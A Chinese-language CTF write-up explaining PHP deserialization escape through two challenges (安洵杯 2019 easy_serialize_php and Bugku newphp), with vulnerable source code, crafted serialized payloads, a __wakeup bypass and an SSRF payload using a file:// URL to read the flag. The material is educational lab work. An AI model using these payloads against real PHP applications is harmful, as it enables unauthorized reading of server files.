两道题浅析PHP反序列化逃逸
两道题浅析PHP反序列化逃逸
一、介绍
反序列化逃逸的出现是因为php反序列化函数在进行反序列化操作时,并不会审核字符串中的内容,所以我们可以操纵属性值,使得反序列化提前结束。
反序列化逃逸题一般都是存在一个filter函数,这个函数看似过滤了敏感字符串,其实使得代码的安全性有所降低;并且分为filter后字符串加长以及字符串变短两种情况,这两种情况有着不同的处理方式。
例如这段代码:
<?php function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
} $ab=array('user'=>'flagflagflag','1'=>'1');
echo filter(serialize($ab)); ?>
本来反序列化的结果为:
a:2:{s:4:"user";s:12:"flagflagflag";i:1;s:1:"1";}但是因为敏感字符串替换变成了:
a:2:{s:4:"user";s:12:"";i:1;s:1:"1";}这样在反序列化时,就导致了原先的键值
flagflagflag被现在的12个字符";i:1;s:1:"1替换了。导致函数误以为键user的值为";i:1;s:1:"1。但是同时这里确定了有两个类,所以要想反序列化成功,则需要让原来键1对应值再包含一个类,这样就能够填补前面被覆盖的1键值的空缺;
i:1;s:1:"1"应该是i:1;s:13:"1";i:2;s:1:"2",即过滤后字符串为:a:2:{s:4:"user";s:13:"";i:1;s:13:"1";i:2;s:1:"2";}下面通过两道题实际应用一下该漏洞。
二、【安洵杯 2019】easy_serialize_php
2.1 收获
- php反序列化逃逸
- 数组变量覆盖
- POST请求体传递数组
2.2 分析
代码:
<?php $function = @$_GET['f']; function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
} if($_SESSION){
unset($_SESSION);
} $_SESSION["user"] = 'guest';
$_SESSION['function'] = $function; extract($_POST); if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
} if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
} $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
分析代码,首先
filter函数实现了一个替换字符串中敏感字符为空的操作。然后对$__SESSION进行了设置,但是下面出现了一个
extract($_POST);。在Php中extract函数实现一个提取数组中键值并覆盖原数组的功能。也就是说,虽然上面设置了user键的内容,但是如果POST变量中不存在user键,那么更新后的$__SESSION中则不包含user键。下面又进行了img键值的设置,并将序列化后的字符串传入filter中进行过滤。
思路
首先肯定是需要查看phpinfo()中的文件;然后应该是通过更改$__SESSION数组实现反序列化读文件。
3.3 利用
访问Phpinfo:
得到了一个提示,包含了d0g3_f1ag.php文件。说明我们需要访问这个php文件。
读文件:
当我们GET请求中设置img_path变量时,势必会触发
sha1函数,这样我们无法读取正常的路径;但是不设置img_path更无法得到文件内容。于是思考这个反序列化。因为反序列化后的字符串会经过filter函数处理,那能不能通过故意引入敏感字符串,使得序列化后的字符串改变,从而在反序列时得到我们想要的输出呢?payload
在本题中因为将敏感字符串替换为空,所以是字符串变短的情况。
首先
f的值需要为show_image;其次我们需要覆盖img键对应的值为d0g3_f1ag.php的编码值:ZDBnM19mMWFnLnBocA==。也就是说我们构造的字符串中要包括:s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==",并且让该字符串前面的序列化内容正好被敏感字符过滤的坑位吃掉。同时,为了覆盖最后系统赋值的img,我们在字符串后面还要加一个类。_SESSION[test]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:1;s:1:"2";}
其过滤后的序列化结果为:

原本的红线部分作为了现在
func键的值。抓包:

注意_SESSION数组修改方式不包含$符号与引号(不要按照Php格式写就行,这里笨了)。
继续:
说明要继续读取:
/d0g3_fllllllag=>L2QwZzNfZmxsbGxsbGFnpayload:
_SESSION[user]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:1;s:1:"2";}
三、Bugku newphp
3.1 收获
- php反序列化逃逸
- __wakeup函数绕过
3.2 分析
题目代码:
<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");
unserialize(read(write($a)));
首先为了能够访问hint.php,我们需要绕过
__wakeup()函数,不然hint变量会被赋值为表情符号。- 这里的绕过其实简单,因为如果序列化字符串中声明的变量数量大于实际的变量数量就可以实现不执行
__wakeup()。 - 正常的evil类序列化后为:
O:4:"evil":1:{s:4:"hint";s:8:"hint.php";},这里只有一个属性。我们将其改为O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
- 这里的绕过其实简单,因为如果序列化字符串中声明的变量数量大于实际的变量数量就可以实现不执行
其次,为了反序列化后的结果为evil类,需要进行反序列化逃逸,因为无法使用username=new evil()然后在User类的
__construct()函数创建evil类的办法。我们需要使得User中的username或者password属性为
O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}分析
write()和read()函数可以发现,chr(0)对应的是空字符,一般我们提供的字符串中不会包含空字符;但是我们可以让字符串中包含\0\0\0从而在read()函数中实现替换,使得字符串变短一半。这里需要注意chr(0)虽然是空字符串,但是其也占了一个长度,所以从'\0\0\0'到chr(0).*.chr(0)其实是字符串缩短了一半。正常的User类序列化之后为
O:4:"User":2:{s:8:"username";s:8:"hint.php";s:8:"password";s:4:"test"}。如果我们让username中包含许多\0,从而字符串变短后吞掉后面的"s:8:"password";s:4:"共21个字符串,但是同时因为我们的payload最后肯定是大于10的,所以password后面的s:4应该是两位数而不是4,所以总共需要吞掉22个字符。量子力学计算一下,我们需要24个\0,并且password中增加一写字符串,才能实现覆盖22个字符串。
测试:
<?php
class evil{
public $hint; function __wakeup() {
echo $this->hint;
}
}
class User
{
public $username;
public $password; public function __construct(){
$this->username = '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'; #24
$this->password = ';";s:8:"password";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}}';
} }
$a=new User();
echo serialize($a);
echo ' ';
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
} function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
echo read(write(serialize($a)));
unserialize(read(write(serialize($a))))
?>
这样会直接输出字符串hint.php。实际为了躲避__wakeup函数,evil的类变量需要设置为2。
3.3 反序列化逃逸
payload:
username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=;";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}
3.4 SSRF
得到base64字符串解码:
<?php
$hint = "index.cgi";
// You can't see me~
直接访问后得到:
{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-656d4ec1-1bc041685ed0055f65124685" }, "origin": "114.67.175.224", "url": "http://httpbin.org/get?name=Bob" }
说明网站是向http://httpbin.org发送了一个请求,那这里就需要SSRF。
这里我们可以向其传参name参数,并且Agent里面提示了,其使用的是curl进行发送请求。
所以为了读取flag,我们要使用file协议,但是这里是向http://httpbin.org发送请求。这里使用空格截断,这样在curl同时可以实现向两个url发送请求(可以在本地命令行测试curl的用法)
payload:
?name= file:///flag
注意name后的空格。
总结
- 对于反序列化逃逸题目首先要看有没有序列化后的字符串替换,如果存在,可以说题目基本上是在考察该知识点。
- 分析替换方式。
- 缩短类型:基本上是靠前一个属性包含的字符串被缩短后,吞吃后一个属性;同时在后一个属性中存放需要利用的属性即可。
- 变长类型:这个后续如果遇到相关题目会进行补充。
参考链接
如有错误敬请指正!
两道题浅析PHP反序列化逃逸的更多相关文章
- CTF反序列化逃逸
刷了一下CTF反序列化的题,去年没有好好了解.又补了一次PHP,害太菜了.每天看看别人的博客真的可以鼓舞人.简单记录一下两道字符串逃逸问题 推荐一个反序列化总结的很好的笔记https://www.cn ...
- php封装协议的两道题
这几天终于刷完了自己说是要刷完的那几道题,赶紧写几篇博客记录.. 1. 先看看这个网站:https://blog.csdn.net/qq_41289254/article/details/81388 ...
- Codeforces 460 DE 两道题
D Little Victor and Set 题目链接 构造的好题.表示是看了题解才会做的. 假如[l,r]长度不超过4,直接暴力就行了. 假如[l,r]长度大于等于5,那么如果k = 1,显然答案 ...
- 小测(noip2005的两道题) 2017.3.3
过河 题目描述 Description 在河上有一座独木桥,一只青蛙想沿着独木桥从河的一侧跳到另一侧.在桥上有一些石子,青蛙很讨厌踩在这些石子上.由于桥的长度和青蛙一次跳过的距离都是正整数,我们可以把 ...
- 一道题浅析 i++,++i,i+1及(引用)&i的区别
我们可能很清楚i++,++i和i+1级&i的概念,但在实际运用中我们就有可能很容易搞混淆.特别是在递归中区别它们就显得尤为重要了.那首先我们先看一段利用递归逆序字符串的代码,你能回答出这段代码 ...
- 从两道题看go channel的用法
在知乎看到有人分享了几道笔试题,自己总结了一下其中与channel有关的题目.全部题目在这里: https://zhuanlan.zhihu.com/p/35058068 题目 5.请找出下面代码的问 ...
- 浅析PHP反序列化漏洞之PHP常见魔术方法(一)
作为一个学习web安全的菜鸟,前段时间被人问到PHP反序列化相关的问题,以前的博客中是有这样一篇反序列化漏洞的利用文章的.但是好久过去了,好多的东西已经记得不是很清楚.所以这里尽可能写一篇详细点的文章 ...
- Dfs学习经验(纸上运行理解DFS)【两道题】
首先我想吐槽的是,在CSDN上搞了好久还是不能发博客,就是点下发表丝毫反应都没有的,我稍微百度了几次还是没有找到解决方法,在CSDN的BBS上也求助过管理员但是没有收到答复真是烦躁,导致我新生入学以来 ...
- drf-day5——反序列化类校验部分源码分析、断言、drf请求、drf响应、视图组件及两个视图基类、基于GenericAPIView+5个视图扩展类
目录 一.反序列化类校验部分源码解析(了解) 二.断言 三.drf之请求 3.1 Request能够解析的前端传入的编码格式 3.2 Request类有哪些属性和方法(学过) 常用参数 Respons ...
- [0CTF 2016]piapiapia(反序列逃逸)
我尝试了几种payload,发现有两种情况. 第一种:Invalid user name 第二种:Invalid user name or password 第一步想到的是盲注或者报错,因为fuzz一 ...
随机推荐
- Prompt Playground 7月开发记录
Prompt Playground 2023年7月开发记录 上个月的时候,出于日常工作需求,做了一个简单的提示词调试工具 Prompt Playground. 这个工具的初衷是为了方便测试,所以没有做 ...
- Cilium系列-16-CiliumNetworkPolicy 实战演练
系列文章 Cilium 系列文章 前言 今天我们进入 Cilium 安全相关主题, 基于 Cilium 官方的<星球大战> Demo 做详细的 CiliumNetworkPolicy 实战 ...
- 程序后台运行方法:使用守护进程 或 screen软件
我们常需要SSH远程登录到Linux 服务器,经常运行一些需要很长时间才能完成的任务,在此期间不能关掉窗口或者断开连接,否则这个任务会被杀掉,一切就半途而废了. 可以使用以下两个方法: 方法一:noh ...
- 关于package-lock.json
前言 上篇文章我们了解了package.json,一般与它同时出现的还有一个package-lock.json,这两者又有什么关系呢?下面一起来了解吧. 介绍 package-lock.json 它会 ...
- 千万级数据深分页查询SQL性能优化实践
一.系统介绍和问题描述 如何在Mysql中实现上亿数据的遍历查询?先来介绍一下系统主角:关注系统,主要是维护京东用户和业务对象之前的关注关系:并对外提供各种关系查询,比如查询用户的关注商品或店铺列表, ...
- 《Linux基础》04. 用户管理 · 用户组 · 相关文件 · 权限管理
@ 目录 1:用户管理指令 1.1:添加用户 1.2:修改用户密码 1.3:用户切换与注销 1.4:删除用户 1.5:查询用户信息 1.6:查看当前登录用户 1.7:查看有哪些用户 2:用户组指令 2 ...
- 如何将项目打包上传到NuGet服务器?
作者:西瓜程序猿 主页传送门:https://www.cnblogs.com/kimiliucn 前言 在我写[在.NET Framework中使用RocketMQ(阿里云版)]这篇博客的时候,因为封 ...
- 企业级低代码平台,通用代码生成平台,Java开源项目(附源码)
项目介绍 Jeecg-Boot 是一款基于代码生成器的智能开发平台!采用前后端分离架构:SpringBoot,Mybatis,Shiro,JWT,Vue&Ant Design.强大的代码生成器 ...
- 在Vue2和Vue3中JSX的使用集锦
Vue2安装JSX支持 有时候,我们使用渲染函数(render function)来抽象组件,而渲染函数使用Vue的h函数来编写Dom元素相对template语法差别较大,体验不佳,这个时候就派 JS ...
- 【RocketMQ】顺序消息实现总结
全局有序 在RocketMQ中,如果使消息全局有序,可以为Topic设置一个消息队列,使用一个生产者单线程发送数据,消费者端也使用单线程进行消费,从而保证消息的全局有序,但是这种方式效率低,一般不使用 ...